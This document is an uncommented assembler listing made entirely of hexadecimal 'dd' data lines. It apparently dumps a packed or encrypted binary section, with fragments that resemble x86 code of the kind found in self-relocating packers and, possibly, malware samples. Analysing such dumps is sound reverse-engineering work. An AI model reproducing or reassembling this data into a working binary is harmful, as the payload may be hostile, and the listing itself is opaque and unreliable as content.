		dd 8F3E87DCh, 5E41949Ah, 0FBAA1524h, 0B8DE574Ch, 76E128A0h
		dd 7092607Fh, 54AE6600h, 8DE2321Ch, 56A09544h, 0EB2A76ACh
		dd 0AC48EDE2h, 46F228Ah, 4F12EDF3h, 0DD376479h,	0D7591h
		dd 3626C200h, 511DE49Ch, 6E04FFB7h, 8EEA1CD4h, 0ACC83CF4h
		dd 0E86C3612h, 6BE581Ch, 25DD77FFh, 46FE98C2h, 341AB4BCh
		dd 0C00F261Bh, 1BB028A0h, 0E8CB374Bh, 5E48591Dh, 0B4817625h
		dd 28226F7Dh, 0CF17CABEh, 0B7678A0h, 442CD614h,	0C2B5DD5Ah
		dd 0E7D7F4D6h, 600CED2h, 0F6ED8872h, 7DAE5h, 71561D00h
		dd 0FD30C137h, 8FC5BC45h, 7442F13Ah, 5CF7E18Dh,	0CA514665h
		dd 48245E89h, 0F291A499h, 847928A0h, 28A0F2B1h,	2E999B06h
		dd 0D8CFA360h, 7E4CFB66h, 0D8F7EE86h, 0CDAF80Ah, 0F48F79F5h
		dd 0A0F236FFh, 0D1E8928h, 5547BB73h, 4833F4BCh,	7C66777Eh
		dd 969F9443h, 2928A08Eh, 0D762C7BEh, 2428A08Dh,	9D786CFh
		dd 638279FBh, 251005B4h, 9A28A08Eh, 5467E75Bh, 1A2B0996h
		dd 0F638BE23h, 61892A76h, 0BAC0D1A3h, 6479B54Fh, 8354A0FAh
		dd 0D000000Ch, 0F2AA4418h, 0DC55F0Fh, 2AE27CF6h, 4A029CDCh
		dd 4420BABAh, 660EF67Ah, 85F114CCh, 0A6B433EBh,	0C2AE540Ch
		dd 34294228h, 28A0C101h, 375121B6h, 11F6A5CBh, 0EA7EE029h
		dd 0DC946E45h, 417AD4CBh, 3B1DD95Ch, 23BEA8C6h,	0F486A13Eh
		dd 0AD97DF26h, 25DD1B12h, 0BCE4614Bh, 6E6312C9h, 226F86C7h
		dd 42968DF8h, 0D2E71388h, 6DA48h, 19EBB900h, 0DFD6715Bh
		dd 7D261087h, 82D7226Fh, 4ABC8A39h, 0C4A9442Eh,	0B2285AE5h
		dd 0E100F777h, 5F3FD4ECh, 7B2A9524h, 6C1B55ADh,	406DC8BDh
		dd 0E75228A1h, 0D42EE6F0h, 0D62B29Ch, 22015C4h,	0BF2A7730h
		dd 0F3C54E54h, 2A846479h, 0BC5DEh, 86D61200h, 0A1CD34ECh
		dd 0BEB44F07h, 0DE9A6C24h, 0FC788C44h, 38BC8662h, 560EA8CCh
		dd 752DC7AFh, 964EE872h, 846A046Ch, 0C1BF766Bh,	6B0028A0h
		dd 0A5CB379Bh, 0D19F63BBh, 0B77E7322h, 8226F7Dh, 0BE4CA69Dh
		dd 591FE7B5h, 7D80B5AAh, 0CC37226Fh, 0ECC2B5D5h, 0F2C05A16h
		dd 0D2E70DD8h, 69563BEAh, 2274C8D1h, 0C8F54035h, 5FCA226Eh
		dd 14FE7091h, 4A718279h, 0E2000001h, 0C8F73E33h, 5DC8226Eh
		dd 71560E66h, 1E62C005h, 92C21B6h, 0AE227036h, 0FD3B3243h
		dd 48816B05h, 0BB2C897Ah, 91AB59Fh, 422ED412h, 0BCA3F8A8h
		dd 361D180Dh, 37A22270h, 7035F342h, 659CC422h, 38E7F809h
		dd 0E5DC9C6Ah, 1299D1C6h, 0DE062446h, 503A4B23h, 9A1A68D1h
		dd 65588828h, 11A75179h, 387FD9h, 3FB70000h, 0DF2A1EAh
		dd 59ED4B72h, 84A39A15h, 45D2238Fh, 47319C24h, 99CE71C8h
		dd 6B507F28h, 3CC7BE6Bh, 532C5136h, 720401CFh, 7C685B7Bh
		dd 0D9112A4Eh, 9282h, 0CB37BA00h, 0A163BBA5h, 7191E9D3h
		dd 45BD15FFh, 11B2912Bh, 6226F58h, 894DB7FCh, 6FA8A194h
		dd 9AAB1622h, 550415B0h, 0DF77D87h, 4B528D72h, 9B0D584Dh
		dd 95EA9AA4h, 3FA89D4Ch, 244447h, 0EC18E695h, 0CE36EE88h
		dd 725CFEE9h, 5DC0C6D7h, 0EC6A8A5Ah, 0A584692h,	43A50000h
		dd 3AC77F19h, 21E29A34h, 7FFB751h, 0E51FD771h, 4F19F58Fh
		dd 0A13B39CBh, 0C05A1CE9h, 0E17BDF08h, 0FD97D929h, 2C09FE17h
		dd 9328A0C3h, 0CD372EFEh, 0AD550DA7h, 375729C3h, 82BBA5CBh
		dd 0A237DD9Dh, 44BD69E3h, 0E422192Ah, 0CB8521Eh, 4CBh
		dd 0A1EA3F4Ah, 6F15FDF2h, 0EF5A2445h, 8FB38605h, 0D3D2899h
		dd 0BFB4631Ah, 28998F76h, 91E32149h, 4FB0CA7h, 11201AB0h
		dd 220B6D9h, 10EE0000h,	226F7D28h, 0ED483DECh, 0D2226F7Ch
		dd 72C3B867h, 45226F7Dh, 58ADE3DAh, 0CB6B600Fh,	0EC245E40h
		dd 0EEDD281h, 161351A7h, 7FE742D4h, 6ADA239Ah, 0D7A55473h
		dd 15534A10h, 363EC6EDh, 6A0B14Ch, 4F629F6Dh, 37D2BCB2h
		dd 0B3827726h, 428A113h, 9E64A299h, 4398E8D2h, 0CC564BFAh
		dd 0C52A7702h, 0A6D3545Ah, 1C766479h, 969D0h, 2A32B600h
		dd 4529D890h, 6210F3ABh, 82F610C8h, 0A0D430E8h,	0DC602A06h
		dd 0FAB24C28h, 19D16B0Bh, 3AF28CCEh, 280EA8C8h,	0C41B1A0Fh
		dd 79C28A0h, 0A5CB3737h, 0D19F63BBh, 5C4F59E7h,	5AF47C86h
		dd 8602DCC1h, 58E4B7FBh, 97BD0D61h, 3705D2E7h, 25C0AAB0h
		dd 1581D2Eh, 37550000h,	561AE8CBh, 11C0D16Ch, 58DB852Ch
		dd 0B7AE8B5Bh, 73FD055Dh, 8BD429D9h, 5D83E7DCh,	0C18F2445h
		dd 0E4947241h, 574EE9D3h, 11907AE5h, 28999D28h,	523C3ACBh
		dd 7F6909FAh, 13CABD5Fh, 999D171Eh, 2C3DA828h, 0A55E2C5Bh
		dd 5148E3CDh, 0A2873E31h, 4C9AB32Fh, 601C01FCh,	4ECC5DEEh
		dd 0EBC1007h, 0B4D9112Bh, 60571FE6h, 204Fh, 0EA3F8700h
		dd 0B5FDF2A1h, 0FA244556h, 1326A58Fh, 0DD2899A7h, 0FCCEBAADh
		dd 0D4D91137h, 0BCh, 0E8CB370Ch, 0D6715BFFh, 9F4816C5h
		dd 316AC4BBh, 0DCD3A163h, 0B251669Eh, 8CC5AFC0h, 412B43BEh
		dd 427EE7D2h, 0A1BC482h, 6F2DD513h, 96D7FB8Ch, 8D8231D3h
		dd 227018A8h, 0A993A40Fh, 25BFB151h, 6FCAED46h,	0AB08FA22h
		dd 700A1B59h, 73226BC0h, 152015C4h, 0AA227045h,	4E3483Fh
		dd 0B724448Dh, 35CF9D4Ch, 17EDA53Fh, 90DA575Dh,	156F6A8Ah
		dd 80DC9h, 0CE8E5A00h, 0E9857C34h, 66C974Fh, 2652B46Ch
		dd 4430D48Ch, 8004CEAAh, 9E56F084h, 0BD750F67h,	0DE96302Ah
		dd 0CCB24C24h, 0C577BEB3h, 0B34828A0h, 0A7CD37E3h, 0C77813F8h
		dd 9C6763F3h, 553F37CEh, 1B9C3BAh, 3D56F01h, 0BBA5CB37h
		dd 37D19F63h, 27E8Bh, 0EA3FC900h, 63FDF2A1h, 24245E41h
		dd 665B0AB9h, 28A0B8CFh, 348E85F0h, 0A0B984B5h,	493C6C28h
		dd 18496D5Dh, 24063D9h,	109B0000h, 226F7D28h, 877A80D5h
		dd 3227D6E7h, 245E4136h, 4CE9DEE7h, 7328A0B9h, 7A48F708h
		dd 9CDA2B88h, 0C939F18Bh, 0D82AF8A7h, 1C13AE98h, 171D72C2h
		dd 0C67586ECh, 76A951D1h, 0DDE34E2Ah, 64794C5Eh, 474591EBh
		dd 94000007h, 0B66E0854h, 0D189234Bh, 0EEA64032h, 0EC66018h
		dd 8E47EF6h, 2A4ABA3Eh,	492DD890h, 6AF0F7AFh, 86EA18D0h
		dd 0F8ED06ECh, 28A0C63Dh, 371DED82h, 28F6A5CBh,	12AD97DBh
		dd 9969C11Bh, 555FEDD7h, 0FA768C62h, 0EF897D4Bh, 0AA20EEF8h
		dd 18D2E70Dh, 96CE5533h, 0E5F35A7Eh, 0B2351AF0h, 0C9DAD1AEh
		dd 192h, 0A5CB3701h, 0F10811F6h, 0A32C745Fh, 8FA52ACh
		dd 301A58ABh, 7D58495h,	568F79FFh, 6FBFD461h, 6F80EB22h
		dd 26D56E78h, 6FC00431h, 5493BB22h, 70811C06h, 0A5EE4379h
		dd 9C6901F6h, 44292445h, 0B2F05C1Dh, 0DE50477Ah, 2F0A8973h
		dd 0C1289A71h, 18B29E91h, 0B8D911FEh, 3Fh, 0A1EA3FF0h
		dd 8D7543F2h, 675EF9E3h, 4556B002h, 6B966424h, 877E1903h
		dd 41C0AA15h, 2899A6F8h, 846EECFBh, 0B29CD82Ch,	0E4FDF092h
		dd 4F0E313h, 0D91137C6h, 9CD42EFCh, 0DD94A5h, 56CC0000h
		dd 0EF87C88h, 28CD8E73h, 4980F894h, 0C5EE1452h,	0B24D3741h
		dd 0A55FB7A1h, 0FDACE5CFh, 0A99ED42Fh, 22706C8Ch, 93D1C833h
		dd 0BF17016Fh, 0B4932D43h, 226FF66Fh, 0F7FE9E64h, 0F0054A39h
		dd 3104F9A8h, 86226FFCh
		dd 8D5B0A1Bh, 0D710FA74h, 6FFC53E2h, 0E8F96422h, 0E237E7F1h
		dd 0FC2F06FBh, 2590226Fh, 77706514h, 28244443h,	5F700400h
		dd 5222E2B0h, 700400B8h, 8AE7DB6Ah, 0C8146E6Ah,	5C6h, 0ED87D513h
		dd 8A2CC35h, 25BFB350h,	45DF996Dh, 63FD778Dh, 0CB39BD87h
		dd 0AE570FA9h, 71762EC8h, 6B974FE9h, 6C856B05h,	0A0C7BE77h
		dd 9C6C0128h, 93D3CD37h, 0A18458B3h, 0E29A3445h, 1EE4B220h
		dd 6AD85D52h, 74DF2270h, 4B30C963h, 8AC89653h, 543C4B13h
		dd 2F2F689Fh, 37CF271Eh, 63BBA5CBh, 8B37D19Fh, 23h, 0D75E5302h
		dd 1C226F7Ch, 1D888AE6h, 0CB37CE26h, 9F63BBA5h,	25C7E7D1h
		dd 0CAA65C32h, 238430h,	37C20000h, 3CBBA5CBh, 226F7CFEh
		dd 61A16F0Eh, 938A250Fh, 0FBC98073h, 38766D0Bh,	29F7A6CAh
		dd 98A299DBh, 0B2A756C6h, 226F7D83h, 94D2C934h,	0C818026Eh
		dd 867B2A73h, 245E41D6h, 8755046Fh, 0A35BF57Bh,	9462115Fh
		dd 801B0571h, 2E2535B2h, 0E62F84D4h, 833F4237h,	58802A8Fh
		dd 0BBACB8Fh, 0B6ADC73Dh, 3739C997h, 2949BA88h,	0A0B4D03Fh
		dd 0BE87031h, 41F903FAh, 8CC5AFC1h, 957045BEh, 4BE6D0E1h
		dd 80C91E54h, 1B8EDCD1h, 0A8132446h, 88C8ADA2h,	0F6429C6Ah
		dd 4A2h, 0C963F9EFh, 0E47EF011h, 19BD72Ch, 21BBBD49h, 3FD99B69h
		dd 0EF159963h, 0D233EB85h, 95520AA4h, 8F732BC5h, 486147E1h
		dd 0A0C8E253h, 7040D528h, 0BA5CB37h, 18E88D72h,	3619B3B7h
		dd 6FF2F441h, 4F60CB22h, 88E81A58h, 0F7BC469Eh,	1B5BAA0Dh
		dd 0B7859631h, 6514254Bh, 0F066C97h, 2A1D27B5h,	28C2AE54h
		dd 0E783705Ah, 4F60D2h,	56980000h, 0CF67A88h, 0EF447A71h
		dd 0A602F7A6h, 17244532h, 0B918FDACh, 0E877FC85h, 0B684A39Ah
		dd 0B08F2931h, 289A258Bh, 52E3D887h, 65289A25h,	3DC503FAh
		dd 6E19933h, 1C066C97h,	2553B381h, 5D806514h, 0C228F2h
		dd 4A96F0E7h, 3E6h, 0A5CB3788h,	98DC28F6h, 400E47A1h, 1EE4B2C6h
		dd 0D6CD6852h, 6C066A98h, 6F1E67BCh, 271163A1h,	4DE8DD8Ch
		dd 72226F7Dh, 42F11007h, 16E4295Dh, 0FAC8B87Dh,	0E27D6707h
		dd 11E486EBh, 0F25D2446h, 19B08908h, 1040289Ah,	0A599311Dh
		dd 3E37D911h, 0A8000000h, 113104F9h, 5E86289Ah,	47E2CCA4h
		dd 3FE73F36h, 531FE4EAh, 9191D06Eh, 1021535Ah, 91466C61h
		dd 6B2445h, 8EA29716h, 1E4E2899h, 1E8B3F2Bh, 0EA45D911h
		dd 0B6000000h, 635A1EE8h, 0A5CB370Bh, 0D3A163BBh, 0C7AF5624h
		dd 0F37D85DDh, 3991EBE2h, 84BDA7C9h, 3F2931B6h,	936FADA4h
		dd 6F6443DDh, 44226F78h, 6018B2BEh, 701FCEA2h, 6F80BA7Bh
		dd 0A3D53122h, 0E53F36A1h, 2D08FDACh, 92226F81h, 0A5FA3027h
		dd 30FEAD5Ch, 1BB6A0D4h, 80BE776Ch, 9601226Fh, 6B003A9Fh
		dd 56C12445h, 9AB70CBCh, 1CAF95CAh, 9B4A5BB0h, 6E8843A6h
		dd 82814F2Ah, 746B06F0h, 39E89702h, 0E71D986Bh,	0F708A38Dh
		dd 3242C200h, 9324E098h, 811C0654h, 122351B3h, 649B4D0Ch
		dd 56A2FC64h, 2B6h, 0DD77E503h,	0F892DC25h, 15AFC340h
		dd 35CFA95Dh, 53ED877Dh, 0DB29AD77h, 0BE47FF99h, 81661EB8h
		dd 7B873FD9h, 5C755BF5h, 0A0CACE67h, 8C5CF128h,	1D3CD37h
		dd 700201DAh, 0B206EB86h, 0C8627309h, 0E47EF210h, 3EA3F12h
		dd 6F7D270Eh, 1C2D9822h, 563A786Dh, 0C772445h, 0A796A322h
		dd 2A5A2899h, 377F4B37h, 0E551D911h, 89000000h,	0F6A5CB37h
		dd 0B09ADE28h, 0EEC81941h, 20315E04h, 0CEC59552h, 8CE81C74h
		dd 89B023A2h, 7B87226Fh, 5FA35BF5h, 1409AB3Dh, 0B154E870h
		dd 2F40DBC5h, 8FE4341Eh, 98A29746h, 292445EEh, 1F7424BEh
		dd 0AA7827D6h, 922D1757h, 6214369Bh, 62CD2A6Eh,	605504B3h
		dd 2275A1D5h, 4A887FEAh, 6820BABAh, 91D2D89Ch, 0B8646445h
		dd 1DC125Eh, 0BF290000h, 0B64B039Dh, 9D661EB8h,	83833BD5h
		dd 61A35BF5h, 0D39D7913h, 25BFB54Fh, 44DE986Dh,	65FF5B8Ch
		dd 811B55ADh, 0A88D829Bh, 0F28A0CCh, 8856AA7Ah,	710CF67Ah
		dd 0EC83C7Ah, 6F7D1C19h, 9B8CC022h, 0B3B69879h,	9B3546B1h
		dd 235D1D02h, 0E8D26358h, 7AE5226Fh, 0E3AFA095h, 1C54AEECh
		dd 16F0BE6Dh, 0E8DD7862h, 22705D4Dh, 0D3283372h, 51950E83h
		dd 6D3F4940h, 0BBA5CB37h, 37D19F63h, 3EED837Fh,	0A6545159h
		dd 1B12D453h, 0D31C71C1h, 90B2F24h, 49B42446h, 0CEC1DB5Fh
		dd 0FDBC4917h, 0E8836D07h, 5B52EDD7h, 0F18BE51Dh, 0DDCFEC41h
		dd 0C43B4631h, 0C5AA596Ah, 83BCDD4h, 0A2E2C781h, 59467FDh
		dd 483D5C53h, 2A7001CAh, 59927CE7h, 0FE80B5AAh,	0CC37226Fh
		dd 766D05FEh, 0BCA6CA38h, 3907FA9Ch, 3DEC9BE4h,	0FE9C998Eh
		dd 8176226Fh, 226FFEB4h, 339EA00Bh, 0F93BD73Ch,	0F9C72445h
		dd 0E27D6709h, 740E79EBh, 402A46BCh, 715BFFE8h,	0AE0D3EDh
		dd 2EDE78F8h, 4DFCBCD9h, 6FCF2CC1h, 22E1AF5Eh, 0F0808250h
		dd 462BDAF9h, 0F0C9A108h, 61D6BB05h, 2ADDD027h,	7AC0251Ch
		dd 472A6FB3h, 689AF2DCh, 3EC61E08h, 11F44C36h, 0C54F7B65h
		dd 0A6BFB9D2h, 0D33302F7h, 1984226Fh, 410F0222h, 0D14CCFECh
		dd 0D79DB097h, 182217C6h, 0FC244641h, 744FFF17h, 0CDC4037Dh
		dd 0A656F05Bh, 64590851h, 2A88B321h, 0A901EB56h, 0C57D1759h
		dd 0CA49333Dh, 4CB3EDBEh, 1FD6C96Bh, 39BA7B70h,	92FD915Ch
		dd 0CBA55D9Bh, 0E7897931h, 92DFC4FDh, 8D027147h, 321CDD65h
		dd 0B5C614F7h, 0F28680BEh, 776A8408h, 750F61A1h, 9267F7DCh
		dd 0F9A1B8CCh, 323EC402h, 8FC48h, 2E3A0000h, 0AFC1410Fh
		dd 0B13760B8h, 9969C1ABh, 5295EDD7h, 3FC61E08h,	0FF54D37h
		dd 0E1237B65h, 0B551A993h, 8281D9C3h, 53AE06F0h, 6816311Bh
		dd 9F5h, 68240C89h, 4FA1h, 68243C89h, 59BDh, 68240489h
		dd 535Eh, 0BD242C89h, 6313D3Bh,	815DEF89h, 4ECh, 24248900h
		dd 4240481h, 58000000h,	4EC81h,	3C890000h, 8408F24h, 5224048Bh
		dd 0C281E289h, 4, 8704C283h, 8B5C2414h,	8953243Ch, 4C381E3h
		dd 83000000h, 1C8704C3h, 0ABE95C24h, 0AAFFF92Ch, 0E4CD65CCh
		dd 0C10FCBC9h, 452290E1h, 0FB8DFB6h, 3063151h, 0E8E0FFC5h
		dd 0A060AD08h, 98671151h, 9F645181h, 4F74919Eh,	6D009EF9h
		dd 0D10F8AABh, 0AE0629B1h, 8D2EF3A2h, 31526D8Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 51B58BE0h, 81062A0Dh, 0D98A1D6h, 958D891Ch, 6A062A33h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 8196C356h, 0C88B6660h, 6860Fh, 858B0000h
		dd 62A28B5h, 0F985C761h, 0E8062A0Bh, 8900005Eh,	2A2B59B5h
		dd 0C585C706h, 62A06h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 4145C357h
		dd 0B5FF5F2Eh, 62A0B41h, 102D8589h, 95FF062Ah, 62A05C1h
		dd 6AFCB7h, 343995FFh, 0C08B062Ah, 23253BEBh, 545175CAh
		dd 0D47DBAC5h, 1A0F5E53h, 3C38EDBDh, 9E51DF6Bh,	0D7F7AD4h
		dd 0AE635A1Ch, 0DA5390F8h, 2420660Fh, 84D9BE68h, 27E18E3Eh
		dd 0B2584EDCh, 5E297CA5h, 3C7D9205h, 15FE97Eh, 8B520000h
		dd 0E860D4h, 5D000000h,	52BBED81h, 428B0631h, 38453D08h
		dd 850F7826h, 138h, 8B0C428Bh, 0C8D3184Ah, 0D1152ABBh
		dd 83C3338Ah, 858904E8h, 62A3395h
		dd 8B04588Bh, 10428BF8h, 0D3184A8Bh, 5ADFBEC8h,	0C6339944h
		dd 0E083C72Bh, 4E883FCh, 0BF98589h, 428B062Ah, 0C5858914h
		dd 8B062A06h, 0E9531842h, 0B0h,	311B5FFh, 0B9E9062Ah, 0FF000000h
		dd 2A251DB5h, 0AEE906h,	0B5FF0000h, 62A3231h, 0A3E9h, 0D9B5FF00h
		dd 0E9062A1Eh, 98h, 0B41B5FFh, 8DE9062Ah, 0FF000000h, 2A13BDB5h
		dd 82E906h, 0B5FF0000h,	62A174Dh, 77E9h, 55B5FF00h, 0E9062A34h
		dd 6Ch,	196DB5FFh, 61E9062Ah, 0FF000000h, 2A1399B5h, 56E906h
		dd 0B5FF0000h, 62A02FDh, 4BE9h,	0DB5FF00h, 0E9062A2Dh
		dd 40h,	28E1B5FFh, 35E9062Ah, 0FF000000h, 2A239DB5h, 2AE906h
		dd 0B5FF0000h, 62A2601h, 1FE9h,	89B5FF00h, 0E9062A20h
		dd 14h,	0BB8D88Bh, 66000000h, 8D8DE3F7h, 631531Ch, 0E1FFC803h
		dd 5C195FFh, 8B5B062Ah,	2A339585h, 4583906h, 0F850Fh, 6A530000h
		dd 3995FF01h, 5B062A34h, 0FFFFE2E9h, 0C35A61FFh, 6AB85A61h
		dd 0FF77D4C9h, 35858BE0h, 8D062A0Bh, 31540A8Dh,	1418906h
		dd 0CE8C38Bh, 0DB000000h, 66CF3457h, 0B9244F60h, 66517CEDh
		dd 0F58FA8Bh, 585h, 0E7816600h,	0C081EEBAh, 63B2h, 13E86060h
		dd 0D1000000h, 46A8EB59h, 58A26CEFh, 74682A16h,	5BC362B1h
		dd 0E9590832h, 12h, 1484FF64h, 0D0D3A757h, 5AAFC0Fh, 80F83E66h
		dd 0B2610D1Dh, 686109h,	0F000000h, 1180h, 0CE900h, 5B50000h
		dd 0A68B4967h, 0B98452F3h, 0F95B578Dh, 5A0334FFh, 484CF281h
		dd 8D0F736Eh, 2, 0EA81CF8Bh, 74754DD0h,	0AE9h, 7BED3E00h
		dd 91F47700h, 8185C76Eh, 0F2A70EF2h, 0C800F45h,	0E9000000h
		dd 7, 0B3CCD8EFh, 529E763Bh, 8118048Fh,	0CD3AA1EBh, 3BF6649h
		dd 9DC381F1h, 8149CD3Ah, 646E8DC1h, 24FB8148h, 0FFFFF9Dh
		dd 0FFFF9B85h, 35E9FFh,	1F880000h, 22CEh, 0Bh dup(0)
		dd 0E9000000h, 4F7h, 31566768h,	28E0E906h, 0F968FFF9h
		dd 0E9063156h, 0FFF928D6h, 31587368h, 28CCE906h, 0FD9FFF9h
		dd 6FBB34Dh, 0ED16CE68h, 0D333EB85h, 0B1530BA5h, 834D29C3h
		dd 0D56F05FFh, 0F48EE81Dh, 15AFAB3Ch, 31CBA55Dh, 0F83D324Bh
		dd 0BF28A0D1h, 3FC5932Ah, 1D124B35h, 28A0D218h,	2C23349Fh
		dd 87156D4h, 9BE35F09h,	5FF3D34h, 12F2C06Fh, 5166CFC4h
		dd 0EE592270h, 348CE6DDh, 5808A2CEh, 4C89E603h,	0E4D5B88h
		dd 15594EFDh, 0ED24458Ah, 6DA72808h, 0D2C9F22Ah, 88EB2160h
		dd 501D81DCh, 63D6553Fh, 8D2899CEh, 357905Eh, 0DF9EC0Ch
		dd 0D9115EBDh, 0A6CC3705h, 192A21BCh, 308h, 7E885651h
		dd 7E7510FAh, 0BB107E1Fh, 24CEC372h, 9D24455Ch,	0CDA7932h
		dd 0FA957FDBh, 42A49E03h, 4499E534h, 0C7574CFBh, 0C81F94A0h
		dd 26E0AE5Dh, 0B1015B52h, 7F64135Ch, 0DAD14E72h, 0B2A21EDh
		dd 0FB738E5Ch, 1A7F7611h, 21AAC866h, 3F0DBC27h,	19FEADC3h
		dd 331242A5h, 49534A3Ch, 0F9FF7191h, 5FAD6B79h,	392A76D0h
		dd 0D0000003h, 0F2AA4418h, 0DC55F0Fh, 2AE27CF6h, 4A029CDCh
		dd 4420BABAh, 660EF67Ah, 85F114CCh, 0A6B433EBh,	0C2AE540Ch
		dd 34294228h, 28A0D301h, 3F5121B6h, 43F2A1EAh, 7D969F94h
		dd 0BE29226Fh, 6F7D6CC9h, 1AE85322h, 74938AEAh,	5E2AB47Fh
		dd 0BEB36224h, 28A0D277h, 74E6DD48h, 0D0BAB64Ch, 0A7752435h
		dd 0C57D175Dh, 1EC9973Fh, 0D1EE473Ch, 0C8D128A0h, 0A0D262D3h
		dd 0D9EA5528h, 615FDEC8h, 56E3C1D8h, 75FB07ACh,	0E31E5E64h
		dd 0D12B5E2Ch, 2A785h, 0B2AA3E00h, 0CDA16018h, 0EA887B33h
		dd 0A6E9850h, 284CB870h, 64E8B28Eh, 823AD4A0h, 0A159F383h
		dd 0C27A1446h, 0B0963040h, 0D393A297h, 8F2428A0h, 0A1EA3FBFh
		dd 2A36FDF2h, 0E79245Eh, 0D294A524h, 2C5C28A0h,	5E7D4D39h
		dd 0BD53D918h, 8B000001h, 0BBA5CB37h, 37D19F63h, 3AE93287h
		dd 45592545h, 452F9A24h, 99A173C6h, 694E7D28h, 7C6475F3h
		dd 8EAEA58Dh, 0EC1BAF9Bh, 60B5D911h, 0ED000000h, 0F2A1EA3Fh
		dd 7CE74E43h, 28F5226Fh, 0EF00711h, 0D3CA3537h,	0B6F3BFB4h
		dd 8DCC2445h, 0B773072Ch, 3A38CB8Ch, 0F5A4B550h, 99803500h
		dd 0E1F8A28h, 0B1AD7A5Fh, 0A6B68B8Ch, 63D655AFh, 8D289A56h
		dd 4C7E6A5Dh, 84D911E7h, 0EDh, 6F7846F5h, 4A3FF6EBh, 1580289Ah
		dd 0CAB4BA47h, 37E0382Fh, 82BBA5CBh, 2F2652B4h,	776113F1h
		dd 0FAEFE31Fh, 226F7D3Bh, 5100117Ch, 37FEF3A2h,	88226F7Dh
		dd 7D0D281Dh, 1DE6226Fh, 0CED06B55h, 0D9126C63h, 46BEF90Bh
		dd 98331D2Eh, 0D19F63A1h, 78875837h, 8D5B226Fh,	0CB6A5F77h
		dd 0EC226F80h, 0EB867081h, 244CB6F4h, 3C85DA8Ah, 2C42BF8Dh
		dd 0C6211635h, 0CC2443C8h, 0A7FAACE7h, 0F113E997h, 97B7283h
		dd 0E321EF9Eh, 47CA78BDh, 293A386Dh, 1E5AAC7Ah,	0CAC1B550h
		dd 0A4FC08C0h, 35A6173h, 0B3B9CAFDh, 6A8AAAD3h,	2DD01C76h
		dd 0C4000001h, 0E69E3824h, 1B9531Bh, 1ED67002h,	3EF690E8h
		dd 3814AEC6h, 5A1AEA6Eh, 79FD08C0h, 9AC027DFh, 0B6BA4800h
		dd 281D361Ch, 28A0D50Dh, 374D1DB2h, 550DA7CDh, 4614C3ADh
		dd 0B4BEB5BDh, 0D1CB37E2h, 1320E9C7h, 4B3546A8h, 0B7A34412h
		dd 61581AE9h, 0F791DF23h, 2D75905Eh, 1D0C8F93h,	4C43543Fh
		dd 0C978C116h, 4562D4D4h, 0AB5AC524h, 0B34D27DDh, 99FB65D4h
		dd 0FC748E28h, 0ECFBC962h, 0DA2C846Eh, 46BF8D9Eh, 9FB3930h
		dd 9D35816Bh, 73000000h, 0F2A1EA3Fh, 5E2A3AFDh,	0E502D024h
		dd 0A10C7E75h, 88980DF2h, 2B7B6807h, 2A0F8860h,	6312885Bh
		dd 0A163C76Eh, 968DF828h, 521EE43Ch, 9A0200B8h,	3C7F1D3Ah
		dd 21CA07FBh, 0AA06B89Dh, 49C8B2C3h, 0CC21F9Ch,	24FAED8Fh
		dd 36FFF4DEh, 0A6453E20h, 592F3862h, 0B11C1E7Bh, 0E416F9CCh
		dd 2334E9EDh, 575CA674h, 0BFB6C7ADh, 6B05FDB5h,	9BDD2981h
		dd 0C9AB59B1h, 0FA6087DFh, 7F728C10h, 301A5CA9h, 708A8495h
		dd 155BA77Dh, 313FC37Bh, 0C4400E47h, 342BC6B0h,	302h, 0D62E4000h
		dd 0C1ABB137h, 0EDD79969h, 1E085295h, 4D373FC6h, 7B650FF5h
		dd 0A993E123h, 0D9C3B551h, 6F08281h, 311B53AEh,	5E545616h
		dd 4C681h, 0EE830000h, 24348704h, 5546685Ch, 2C890000h
		dd 60C66824h, 3C890000h, 5EBB5324h, 52063155h, 0D589DA89h
		dd 8B545B5Ah, 0C483243Ch, 0EB895304h, 24048153h, 41301E61h
		dd 8108478Fh, 1E61086Fh, 8B5B4130h, 8952243Ch, 4C281E2h
		dd 81000000h, 4C2h, 24148700h, 2434FF5Ch, 4C4835Dh, 0F923F9E9h
		dd 4C006AFFh, 0B8834E29h, 63159C5h, 0E0FFC503h,	1E1BA647h
		dd 33451FB1h, 57495FF3h, 58E5567h, 38BA9997h, 6CBF9709h
		dd 81256E2h, 5B168D8Dh,	0E8600631h, 10h, 6C4B8B3h, 624131A4h
		dd 7D782333h, 9F53C31Ah, 17419D89h, 665A062Ah, 8961F28Bh
		dd 2A33958Dh, 598D8906h, 0C7062A21h, 2A0BF985h,	74F806h
		dd 85C7F900h, 62A06C5h,	0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0C0C35646h
		dd 0F8090291h, 251DB5FFh, 6A062Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0C0A7BEC3h, 5FDBD23h
		dd 0AE9062Ah, 0C7000000h, 4DEBDC32h, 0A93F2569h, 10C381D8h
		dd 0FF6BE3A3h, 2A05C195h, 19852906h, 6A062A32h,	3995FF00h
		dd 8B062A34h, 719EBC0h,	0D13A3F20h, 817A1EDDh, 5974B0BEh
		dd 3488FE70h, 0C55664FEh, 0D998094h, 30E9h, 0D6A7EE00h
		dd 7Ch,	0Ah dup(0)
		dd 5C5E900h, 1FC90000h,	16EBA33Dh, 0FD06BE58h, 0E323DB75h
		dd 0C143FB95h, 733D19B3h, 0C55F15EFh, 0E47EF80Dh, 59FBB2Ch
		dd 21BBB54Dh, 82D223Bh,	0AF28A0D8h, 0DFD4831Ah,	28A0D856h
		dd 0CA6B6069h, 0ED28A0D7h, 227A7182h, 0BBA5CB37h, 39D3A163h
		dd 5C518181h, 226F7CD9h, 786273DEh, 0FBF0E220h,	226F7D3Ah
		dd 212355B1h, 82BBA5B6h, 3E70EED3h, 2C628FB1h, 6FA8FE37h
		dd 4E99C122h, 7687220Ch, 0AEC0417Fh, 3503A4C4h,	60B8A2CCh
		dd 4DE8D2A6h, 3225453Ch, 1D57AD7Bh, 0A8BC796Eh,	9803226Fh
		dd 0D19F63A1h, 0C5B15422h, 806AF0F7h, 2CE4EEE5h, 290C01BBh
		dd 8E226FA9h, 95631223h, 801B056Fh, 20C77F89h, 0E7DC8B3Ah
		dd 226FA94Eh, 0B50F0671h, 0E4CEA85Dh, 7D534660h, 9241F06Ah
